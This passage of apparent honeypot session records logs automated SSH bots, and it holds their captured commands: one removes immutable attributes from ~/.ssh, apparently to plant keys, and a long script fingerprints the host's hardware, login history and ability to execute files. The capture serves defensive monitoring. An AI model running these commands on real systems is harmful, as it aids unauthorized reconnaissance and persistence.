  "id": "3694e3c9-045c-4f39-b2d8-d8a17f1b9e01",
  "name": "inland-quartz-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40829,
  "username": "stperez",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:21:53.524429+00:00",
  "ended_at": "2026-08-26T15:21:55.142540+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "9b0adcd7-ec89-4346-a06d-4e43b65eb581",
  "name": "quiet-alpine-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40831,
  "username": "stperez",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:21:30.819290+00:00",
  "ended_at": "2026-08-26T15:21:32.596131+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b8196cb-ce71-466e-b386-4f1e04b03b88",
  "name": "loyal-glassy-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40830,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:21:27.809421+00:00",
  "ended_at": "2026-08-26T15:21:29.326676+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1532a5bf-4602-453b-aa5b-ccae9699776c",
  "name": "salty-sullen-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 58304,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:20:24.373040+00:00",
  "ended_at": "2026-08-26T15:20:24.506013+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7cbc5f7d-b8a8-4034-88e0-57b71652fe91",
  "name": "inland-thawing-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 59431,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:19:09.459017+00:00",
  "ended_at": "2026-08-26T15:19:12.028525+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eabb46c1-d88e-42ec-91c4-8f9f201e4e05",
  "name": "gallant-nautical-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40826,
  "username": "ehsan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 754,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:19:07.570401+00:00",
  "ended_at": "2026-08-26T15:19:09.068552+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "ba76cb7f-ee81-427d-b1cb-cf103b7902b4",
  "name": "hardy-somber-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40828,
  "username": "ehsan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:18:45.109104+00:00",
  "ended_at": "2026-08-26T15:18:47.183028+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4f6bae1-6313-4b22-ae95-9c411d01efd0",
  "name": "orderly-eager-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40827,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:18:41.574341+00:00",
  "ended_at": "2026-08-26T15:18:43.607194+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7afe7d12-afbb-4a57-8d96-85692184fbfe",
  "name": "dewy-cobalt-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 55338,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:18:22.270073+00:00",
  "ended_at": "2026-08-26T15:18:22.416424+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "43c35472-6d7f-435a-abe5-a40ab6db6e36",
  "name": "frosty-nameless-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40823,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:16:28.241737+00:00",
  "ended_at": "2026-08-26T15:16:29.345554+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "338f00e2-3321-4065-9466-5cc2ed26dbd6",
  "name": "wooded-bold-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 52348,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:16:25.325781+00:00",
  "ended_at": "2026-08-26T15:16:25.436262+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f63cc11c-1c67-42e3-b2fe-11e55cdb4fb2",
  "name": "fleeting-velvet-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40825,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:16:05.704359+00:00",
  "ended_at": "2026-08-26T15:16:07.256163+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2ace2cf-210d-40c4-9b96-6c337a089478",
  "name": "wry-diligent-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40824,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:16:02.987494+00:00",
  "ended_at": "2026-08-26T15:16:04.215878+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "86fbc0f8-7f7e-41ca-8ec1-f9d09b6b66c4",
  "name": "gilded-drifting-pika",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.167.245.18",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:14:50.570041+00:00",
  "ended_at": "2026-08-26T15:29:58.637836+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b05fffd6-bd3b-4081-9b32-54b45825126f",
  "name": "russet-cosmic-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 49384,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:14:33.434532+00:00",
  "ended_at": "2026-08-26T15:14:33.542286+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "cd14acdb-0532-4637-a57b-d4614e87e7b8",
  "name": "nimble-gritty-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40820,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 748,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:13:47.024035+00:00",
  "ended_at": "2026-08-26T15:13:48.740742+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "4eebb87b-a651-4f00-83e4-0b6124533e57",
  "name": "cheerful-solemn-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40822,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:13:24.742686+00:00",
  "ended_at": "2026-08-26T15:13:25.975533+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc07be69-24b6-42bb-8e59-68ff8d8091dc",
  "name": "vaulted-sunlit-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40821,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:13:22.267103+00:00",
  "ended_at": "2026-08-26T15:13:23.234404+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2506c4b8-96e2-43e2-9762-00c1218c60bd",
  "name": "hidden-indigo-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 61494,
  "username": "kim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:13:18.003964+00:00",
  "ended_at": "2026-08-26T15:13:19.483124+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "ffe34866-9da7-41d6-a8de-5a509dfd50f7",
  "name": "early-steady-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61522,
  "username": "kim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:12:52.898894+00:00",
  "ended_at": "2026-08-26T15:12:53.883784+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "550038f2-fb36-421e-9d77-a373e36e7456",
  "name": "dutiful-deft-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61508,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:12:50.383849+00:00",
  "ended_at": "2026-08-26T15:12:52.309662+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "36504de0-ef0e-4a45-a1e1-fea053cae182",
  "name": "windswept-amber-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 46382,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
